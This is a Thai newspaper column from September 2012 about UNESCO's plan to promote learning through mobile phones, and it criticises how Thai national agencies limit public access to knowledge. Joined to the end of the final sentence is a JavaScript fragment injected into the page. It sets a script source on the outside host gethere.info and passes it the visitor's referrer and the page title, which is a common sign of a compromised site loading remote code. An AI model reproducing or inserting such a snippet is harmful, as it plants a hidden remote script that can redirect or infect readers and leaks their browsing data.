มติชนรายวัน ฉบับประจำวันพุธที่ 12 กันยายน 2555

 

          คนในโลกส่วนมากเบื่อหน่ายห้องเรียนพอๆกัน ถ้าไม่จำเป็นและเมื่อมีโอกาสก็ไม่เข้าห้องเรียนที่เต็มไปด้วยการ(ชี้นิ้ว)สั่งสอน

          อีกพวกหนึ่งเป็นส่วนน้อย รู้ดีว่าคนส่วนมากเบื่อห้องเรียน แต่อยากให้คนส่วนมากเรียนรู้อย่างสั่งสม (ไม่สั่งสอน) โดยไม่ต้องเข้าห้องเรียน

          เลยหาวิธีชักนำด้วยกุศโลบายต่างๆ ให้คนส่วนมากสั่งสมแลกเปลี่ยนเรียนรู้โดยไม่รู้ตัว ผ่านสิ่งที่เรียกทุกวันนี้ว่าห้องสมุดและมิวเซียม ตลอดจนแหล่งเรียนรู้และกิจกรรมสนุกสนานรื่นรมย์ในชื่ออื่นๆ

          ล่าสุด จะให้คนในโลกทุกระดับตั้งแต่เด็กจนแก่เฒ่าเรียนรู้ผ่านมือถือ ดังมีรายงานข่าวในมติชน (ฉบับวันจันทร์ที่ 3 กันยายน 2555 หน้า 22) จะสรุปย่อๆมาดังต่อไปนี้

          ยูเนสโกกำลังทำโครงการส่งเสริมการเรียนรู้ด้วยโทรศัพท์เคลื่อนที่ (Mobile Learning Project) แล้วให้ประเทศสมาชิกต่างๆ ทั่วโลกแสดงความคิดเห็น ก่อนนำมาใช้จริง โดยเน้นกิจกรรม 5 ด้านหลัก เช่น

          1.ส่งเสริมการพัฒนาเนื้อหาการเรียนรู้ที่สามารถส่งผ่านโทรศัพท์มือถือที่ง่ายแก่การอ่าน (easy to read) มีเนื้อหาที่สั้นกะทัดรัด และสามารถส่งผ่านถึงกันในระยะเวลาอันสั้น

          2.พัฒนาเพิ่มทักษะครูเพื่อส่งเสริมการสืบค้นข้อมูล รวมทั้งการเป็นพี่เลี้ยงแก่ผู้เรียนในการสร้างเนื้อหาผ่านระบบดิจิตอล โดยใช้เทคโนโลยีจากแอพพลิเคชั่นต่างๆ

          3.ฯลฯ

          ปัจจุบันวิทยาการของโทรศัพท์มือถือและเครื่องมือดิจิตอล นำมาใช้ประโยชน์ในการเรียนรู้ โดยเฉพาะในหมู่วัยรุ่นที่ใช้เวลาส่วนใหญ่อยู่กับข้อมูลทางโทรศัพท์มือถือ, อ่านหนังสือผ่านอีบุุ๊ก, เก็บภาพและเสียงในคอมพิวเตอร์แท็บเล็ต เป็นต้น

          ยูเนสโกเห็นว่าหากคิดรูปแบบการเรียนรู้ผ่านสื่อดิจิตอลได้ จะเข้าถึงผู้เรียนได้ไม่ต่ำกว่า 6 พันล้านคนทั่วโลก ผู้เรียนจะแสวงหาและสร้างความรู้เพื่อแบ่งปันแลกเปลี่ยนเรียนรู้ซึ่งกันและกันได้สะดวกรวดเร็ว

          ข้อมูลของยูเนสโก ระบุว่าปัจจุบันเด็กอายุตั้งแต่ 10 ขวบขึ้นไป ผู้ปกครองก็ซื้อโทรศัพท์มือถือให้ใช้แล้ว

          จากรายงานข่าวที่สรุปย่อมา จะเห็นว่าโลกนี้พยายามทำทุกอย่างให้คนทั่วไปเข้าถึงความรู้ได้ง่ายๆ อย่างเสมอหน้ากันทุกระดับชั้นชน

          ยกเว้นไทย ทำทุกอย่างให้คนไทยเข้าถึงความรู้ได้ยากๆ โดยดูจากหน่วยงาน  “แห่งชาติ”ใน ก. วัฒนธรรม ที่คนไทยแทบจะต้องเอาดอกไม้ธูปเทียนไปกราบไหว้ถึงจะเปิดให้คนทั่วไปเข้าถึงความรู้“อย่างจำกัด”

          ช่องทางแก้ไขเพื่ออำนวยให้คนไทยเข้าถึงความรู้อย่างง่ายๆ คงพึ่งพา“ข้าราชวิชาการ”ไทยไม่ได้ ฉะนั้นทุกคนต้องแบ่งปันแลกเปลี่ยนกันเองอย่างง่ายๆ ไม่เป็นทางการโดยผ่านมือถือหรือสื่อดิจิตอลหลากหลายอย่างที่ยูเนสโกกำลังทำอยู่นั่นแหละs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;